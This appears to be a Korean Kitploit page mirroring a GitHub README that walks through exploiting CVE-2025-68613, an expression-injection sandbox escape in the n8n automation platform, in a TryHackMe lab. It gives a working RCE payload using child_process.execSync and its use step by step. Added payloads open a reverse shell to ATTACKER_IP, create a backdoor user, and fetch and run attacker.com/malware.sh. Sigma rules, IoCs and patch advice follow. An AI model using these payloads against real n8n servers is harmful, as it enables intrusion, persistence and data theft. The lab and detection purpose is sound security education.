Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
n8n-cve-2025-68613-thm | Kitploit
도구/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlLearning & EducationIncident ResponsePayload DevelopmentLabs & Practice
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

저장소 보기
17개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-68613 – n8n 치명적 RCE 악용

개요

이 저장소는 n8n 워크플로 자동화 플랫폼(버전 0.211.0 ~ 1.120.3)에 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점인 CVE-2025-68613 (CVSS 9.9) 의 실습 악용 과정을 문서화합니다.

이 악용은 교육 목적으로만 통제된 TryHackMe 랩 환경에서 윤리적으로 수행되었습니다.


취약점 요약

필드값
CVE IDCVE-2025-68613
CVSS 점수9.9 (치명적)
공개일2025년 12월 19일
영향 제품n8n 워크플로 자동화 플랫폼
취약점 유형표현식 인젝션 → 샌드박스 탈출 → RCE
공격 벡터인증된 사용자 (기본값)
패치 버전1.120.4, 1.121.1, 1.122.0+
영향 버전0.211.0 - 1.120.3

n8n이란?

n8n은 사용자가 작업 자동화를 위해 애플리케이션과 서비스를 시각적으로 연결할 수 있게 해주는 오픈소스 워크플로 자동화 플랫폼입니다. 주요 특징:

  • 노드 기반 워크플로 아키텍처: 각 노드는 작업(API 요청, 데이터 처리, 이메일 등)을 나타냅니다.
  • 400개 이상의 기본 통합: 다양한 API 및 서비스에 대한 사전 구축 커넥터
  • 코드 노드: 사용자 정의 JavaScript 또는 Python 코드 실행
  • 표현식 평가: {{ }}로 감싸진 동적 표현식을 JavaScript로 평가

배포 모델

  • 자체 호스팅 인스턴스(온프레미스 또는 프라이빗 클라우드)
  • 클라우드 호스팅(n8n.cloud) 관리형 서비스
  • 기업 네트워크 내부의 내부 자동화 도구

기술적 배경

취약점 연결 고리

이 취약점은 n8n의 워크플로 표현식 평가 시스템에 존재합니다. 인증된 사용자가 워크플로를 구성하면 입력이 적절한 샌드박싱 없이 JavaScript 코드로 처리됩니다.

컨텍스트 승격 체인

root@kitploit:~
표현식 샌드박스
    ↓ ('this'를 통한 탈출)
Node.js 전역 컨텍스트
    ↓ (mainModule 접근)
모듈 시스템 (require)
    ↓ (child_process 로드)
시스템 명령 실행

주요 결함

  1. 안전하지 않은 표현식 평가: {{ }}로 감싸진 사용자 표현식이 적절한 컨텍스트 격리 없이 원시 JavaScript로 평가됨
  2. 샌드박스 탈출: this 객체에 대한 접근으로 의도된 샌드박스 제한을 벗어날 수 있음
  3. 제한 없는 모듈 접근: process.mainModule.require()를 통해 Node.js 모듈 시스템에 접근 가능
  4. 위험한 모듈 로딩: 시스템 명령 실행을 위해 child_process 모듈을 로드할 수 있음
  5. 의미 있는 인증 보호 부재: 모든 인증된 사용자가 취약점을 악용할 수 있음

악용 페이로드 분석

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

설명:

  • this → Node.js 전역 객체
  • this.process → Node.js 프로세스 객체
  • process.mainModule → n8n 애플리케이션의 루트 모듈
  • .require('child_process') → 시스템 명령 실행 모듈 로드
  • .execSync('COMMAND') → 셸 명령을 동기적으로 실행
  • .toString() → Buffer 출력을 읽을 수 있는 문자열로 변환

악용 실습 과정

1단계: 인증

취약한 n8n 인스턴스에 접속하여 유효한 자격 증명으로 로그인합니다.

랩 자격 증명:

  • 이메일: [email protected]
  • 비밀번호: Try12345!

로그인 화면


2단계: 환영 및 워크플로 생성

로그인 후 워크플로 생성 인터페이스가 표시됩니다. 새 워크플로를 시작하려면 "Start from scratch"를 클릭합니다.

환영 화면


3단계: 수동 트리거 추가

"Add first step"을 클릭하고 "Manual Trigger"를 검색합니다. 이 노드는 워크플로 실행의 진입점 역할을 합니다.

수동 트리거 설정

목적: 수동 트리거 노드는 UI의 "Execute workflow" 버튼을 통해 워크플로를 수동으로 실행할 수 있게 하여 테스트에 이상적입니다.


4단계: 워크플로 구성 및 필드 매핑 추가

필드 매핑을 수행하기 위해 "Edit Fields" 노드를 추가합니다. 이 지점에서 취약점이 악용됩니다.

워크플로 구성

구성 단계:

  1. "Add field"를 클릭하여 새 필드 매핑을 추가합니다.
  2. 모드를 "Expression"으로 설정합니다.
  3. 이를 통해 JavaScript 코드 평가가 가능해집니다.

5단계: ID 명령 실행

id 명령을 실행하고 사용자/권한 정보를 검색하기 위해 페이로드를 주입합니다.

페이로드:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

결과:

root@kitploit:~
uid=1000(node) gid=1000(node) groups=1000(node)

ID 명령 실행

수집된 정보:

  • 루트가 아닌 사용자로 실행 중(uid=1000)
  • 그룹 구성원(gid=1000)
  • 잠재적 권한 상승 경로

6단계: LS로 파일 시스템 열거

페이로드를 수정하여 ls 명령을 실행하고 디렉터리 내용을 나열합니다.

페이로드:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

LS 명령 실행

출력 내용:

  • 플래그 파일 존재: flag.txt
  • 디렉터리 구조 및 파일 권한
  • 추가 정찰 데이터

7단계: 민감한 데이터 추출

cat 명령을 사용하여 플래그 파일을 읽고 악용을 완료합니다.

페이로드:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

획득한 플래그:

root@kitploit:~
THM{n8n_exposed_workflow}

플래그 추출


고급 악용 기법

1. 리버스 셸

지속적인 제어를 위한 대화형 셸 접근을 설정합니다:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. 백도어 사용자 생성

지속적인 접근을 위해 새 시스템 사용자를 추가합니다:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. 악성 페이로드 다운로드

원격 코드를 가져와 실행합니다:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. 권한 상승 열거

sudo 권한을 확인합니다:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. 환경 정찰

환경 변수를 추출합니다:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('env').toString() 
})()

탐지 전략

웹 프록시 로깅 (Nginx)

분석을 위해 요청 본문을 기록하도록 프록시를 구성합니다:

root@kitploit:~
http {
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'Request-Body: "$request_body" '
                       'Duration: $request_time s';
    
    access_log /var/log/nginx/detailed_access.log detailed;
}

Sigma 탐지 규칙

워크플로 API 요청을 통한 악용 시도를 탐지합니다:

root@kitploit:~
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
    category: web_application_firewall
detection:
    keywords:
        - "process.mainModule.require"
        - "child_process"
        - "execSync"
    condition: keywords
filter:
    field: uri_path
    value: "/rest/workflows"
    method: POST

프로세스 생성 모니터링

n8n이 생성한 의심스러운 자식 프로세스를 모니터링합니다:

  • 예상치 못한 child_process 생성 감시
  • 리버스 셸 연결(bash, nc) 모니터링
  • 의심스러운 파일 다운로드/실행 추적
  • 권한 상승 시도 시 경고

로그 위치

  • n8n 로그: /root/.n8n/logs/
  • 시스템 로그: /var/log/auth.log, /var/log/syslog
  • 워크플로 실행 로그: n8n 데이터베이스

침해 지표 (IoC)

  • 워크플로 필드에 포함된 의심스러운 JavaScript 표현식:
    • process.mainModule
    • require('child_process')
    • execSync 또는 spawn
  • 비정상적인 child_process 실행
  • 예기치 않은 워크플로 수정
  • 실패한 로그인 시도 후 성공적인 접근
  • 예상치 못한 디렉터리의 파일 시스템 변경

악용 타임라인


완화 및 예방

즉시 조치

  1. n8n을 패치 버전으로 업데이트:

    • v1.120.4
    • v1.121.1
    • v1.122.0 이상
  2. 네트워크 접근 제한

    • n8n 접근을 제한하도록 방화벽 규칙 구현
    • 관리 접근에는 VPN 또는 배스천 호스트 사용
    • 필요하지 않으면 외부 노출 차단
  3. 강력한 인증

    • 강력한 비밀번호 강제 적용
    • 다중 요소 인증(MFA) 구현
    • 가능한 경우 SSO 통합 사용
  4. 모니터링 및 로깅

    • 모든 n8n 활동에 대한 상세 로깅 활성화
    • 워크플로 수정 실시간 모니터링
    • 의심스러운 표현식에 대한 알림 설정

장기 보안 대책

  1. 입력 검증 및 삭제

    • 사용자 입력을 코드로 평가하지 않음
    • 표현식 허용 목록 구현
    • 모든 워크플로 정의 삭제
  2. 샌드박스 구현

    • 제한된 샌드박스에서 표현식 평가 격리
    • Node.js API 접근 제한
    • 격리를 위해 가상 머신 또는 컨테이너 사용
  3. 최소 권한 원칙

    • n8n을 최소 필요 권한으로 실행
    • 파일 시스템 접근 제한
    • 네트워크 연결 제한
  4. 코드 검토 및 보안 테스트

    • 사용자 정의 노드에 대한 정기적인 보안 감사
    • SAST/DAST 도구 구현
    • 위협 모델링 연습 수행

참고 자료

  • n8n 공식 문서
  • n8n 보안 정책
  • Node.js Child Process 모듈
  • OWASP 코드 인젝션
  • CWE-95: 동적으로 평가되는 코드의 지시문 부적절한 중립화
  • CVSS v3.1 계산기

랩 정보

  • 플랫폼: TryHackMe
  • 룸: n8n: CVE-2025-68613
  • 룸 URL: https://tryhackme.com/room/n8ncve202568613
  • 난이도: 중상
  • 학습 목표: 표현식 인젝션, 샌드박스 탈출, RCE, 탐지 전략

면책 조항

이 문서는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 설명된 악용 기법은 다음을 위해 작성되었습니다:

  • 공인된 침투 테스트
  • 통제된 환경에서의 보안 연구
  • TryHackMe 랩 실습
  • 보안 취약점 이해

컴퓨터 시스템에 대한 무단 접근은 불법입니다. 보안 테스트를 수행하기 전에 항상 적절한 서면 승인을 받으십시오.


저장소 구조

root@kitploit:~
.
├── README.md                    # 이 파일
├── exploitation-details.md      # 기술 심층 가이드
├── screenshots/
│   ├── 01-login.png
│   ├── 02-Welcome.png
│   ├── 03-Manual_Trigger.png
│   ├── 04-Workflow-setup.png
│   ├── 05-rce_id.png
│   ├── 06-Change_id_ls.png
│   └── rce_cat_flag.png
└── notes/
    └── exploitation-details.md

작성자 메모

이 문서는 TryHackMe 랩 환경에서 CVE-2025-68613의 성공적인 악용을 기록합니다. 이 취약점은 안전한 코드 평가의 중요성과 자동화 플랫폼에서 부적절한 샌드박스 구현의 위험성을 보여줍니다.

이 취약점을 이해하는 것은 공격 보안 팀이 유사한 문제를 식별하고 방어 팀이 더 효과적인 탐지 전략을 개발하는 데 모두 도움이 됩니다.

도구 다운로드
단계작업소요 시간
1n8n 인스턴스 접근수 초
2워크플로 생성/수정1분 미만
3필드 매핑 노드 추가1분 미만
4id 명령 주입 및 실행30초 미만
5ls로 파일 시스템 열거1분 미만
6cat으로 데이터 추출30초 미만
총계전체 RCE 악용5분 미만